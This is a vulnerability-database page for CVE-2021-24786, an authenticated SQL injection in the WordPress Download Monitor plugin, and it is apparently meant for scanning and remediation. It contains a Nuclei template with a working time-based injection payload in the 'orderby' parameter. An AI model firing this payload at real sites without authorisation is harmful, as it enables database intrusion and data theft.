/Vulnerability Library

Download Monitor < 4.4.5 - SQL Injection

CVE-2021-24786
Verified

Description

The Download Monitor plugin for WordPress is vulnerable to SQL injection via the 'orderby' parameter in versions before 4.4.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers with administrator-level permissions to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

Severity

High

CVSS Score

7.2

Exploit Probability

2%

Affected Product

download_monitor

Published Date

November 2, 2025

Template Author

mrharsh

CVE-2021-24786.yaml
id: CVE-2021-24786

info:
  name: Download Monitor < 4.4.5 - SQL Injection
  author: MrHarsh
  severity: high
  description: |
    The Download Monitor plugin for WordPress is vulnerable to SQL injection via the 'orderby' parameter in versions before 4.4.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers with administrator-level permissions to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.
  remediation: |
    Update to version 4.4.5 or later.
  reference:
    - https://wpscan.com/vulnerability/a6571f16-66d2-449e-af83-1c6ddd56edfa
    - https://plugins.trac.wordpress.org/changeset/2610899/download-monitor
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24786
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2021-24786
    cwe-id: CWE-89
    epss-score: 0.02235
    epss-percentile: 0.84737
    cpe: cpe:2.3:a:download_monitor_project:download_monitor:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: download_monitor_project
    product: download_monitor
    framework: wordpress
    publicwww-query: "/wp-content/plugins/download-monitor/"
  tags: cve,cve2021,wordpress,wp-plugin,sqli,download-monitor,authenticated

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

      - |
        @timeout: 30s
        GET /wp-admin/edit.php?post_type=dlm_download&page=download-monitor-logs&orderby=download_date`+and+(select+sleep(8))+and+`user_id=user_id HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "dlm_product")'
          - 'status_code_2 == 200'
          - 'duration_2 >= 8'
        condition: and
# digest: 4a0a004730450221009e4800f611646269853e7c9d7a21d29816266c7c8d12b204c118fa4dec89a6c0022059f1d8b9d172c7084af996f8d085c6358fe48938eb7b7d3600f635df8a722c51:922c64590222798bb761d5b6d8e72950
7.2Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2021-24786
CWE ID:
cwe-89

References

https://wpscan.com/vulnerability/a6571f16-66d2-449e-af83-1c6ddd56edfahttps://plugins.trac.wordpress.org/changeset/2610899/download-monitorhttps://nvd.nist.gov/vuln/detail/CVE-2021-24786

Remediation Steps

Update to version 4.4.5 or later.